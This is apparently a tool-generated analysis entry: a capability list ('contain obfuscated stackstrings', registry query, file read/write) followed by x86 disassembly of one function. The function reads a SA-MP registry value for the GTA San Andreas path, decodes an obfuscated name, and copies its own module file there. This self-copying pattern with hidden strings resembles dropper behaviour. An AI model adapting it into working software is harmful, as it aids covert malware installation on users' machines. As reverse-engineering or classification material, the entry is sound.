Function at 0x1000b67b
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x118], 0x104
mov byte [ebp - 0x108], 0x53
nop
mov byte [ebp - 0x107], 0x4f
nop
mov byte [ebp - 0x106], 0x46
nop
mov byte [ebp - 0x105], 0x54
nop
mov byte [ebp - 0x104], 0x57
nop
mov byte [ebp - 0x103], 0x41
nop
mov byte [ebp - 0x102], 0x52
nop
mov byte [ebp - 0x101], 0x45
nop
mov byte [ebp - 0x100], 0x5c
nop
mov byte [ebp - 0xff], 0x53
nop
mov byte [ebp - 0xfe], 0x41
nop
mov byte [ebp - 0xfd], 0x4d
nop
mov byte [ebp - 0xfc], 0x50
nop
lea ecx, [ebp - 0x114]
mov byte [ebp - 0xfb], 0
mov dword [ebp - 0x114], 0xc8c8e9d9
mov dword [ebp - 0x110], 0x1dccf829
mov dword [ebp - 0x10c], 0xff69c8e9
call fcn.10001efa
mov ebx, 0x10010c80
mov esi, ecx
mov edi, ebx
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000b8dd
lea eax, [ebp - 0x11c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x108]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b8dd
mov byte [ebp - 0x108], 0x67
nop
mov byte [ebp - 0x107], 0x74
nop
mov byte [ebp - 0x106], 0x61
nop
mov byte [ebp - 0x105], 0x5f
nop
mov byte [ebp - 0x104], 0x73
nop
mov byte [ebp - 0x103], 0x61
nop
mov byte [ebp - 0x102], 0x5f
nop
mov byte [ebp - 0x101], 0x65
nop
mov byte [ebp - 0x100], 0x78
nop
mov byte [ebp - 0xff], 0x65
nop
lea eax, [ebp - 0x118]
xor ecx, ecx
push eax
lea eax, [ebp - 0x108]
mov byte [ebp - 0xfe], cl
push eax
push ecx
push ecx
push eax
push dword [ebp - 0x11c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b8dd
lea eax, [ebp - 0x108]
push 0x5c
push eax
call dword [sym.imp.VCRUNTIME140.dll_strrchr]
pop ecx
pop ecx
xor ecx, ecx
inc ecx
sub ecx, ebx
add ecx, eax
mov al, byte [ebx]
mov byte [ecx + ebx], al
inc ebx
test al, al
jne 0x1000b80b
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000b82f
test al, 0x10
je 0x1000b8dd
xor edi, edi
lea eax, [ebp - 0x108]
push edi
push 2
pop esi
push esi
push esi
push edi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x108]
push 0x104
push eax
push dword [0x10010834]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x1000d3a8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push edi
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push ebx
push edi
mov esi, eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x3c
lea eax, [ebp - 0x118]
push 0
push eax
push edi
mov edi, dword [ebp - 0x120]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret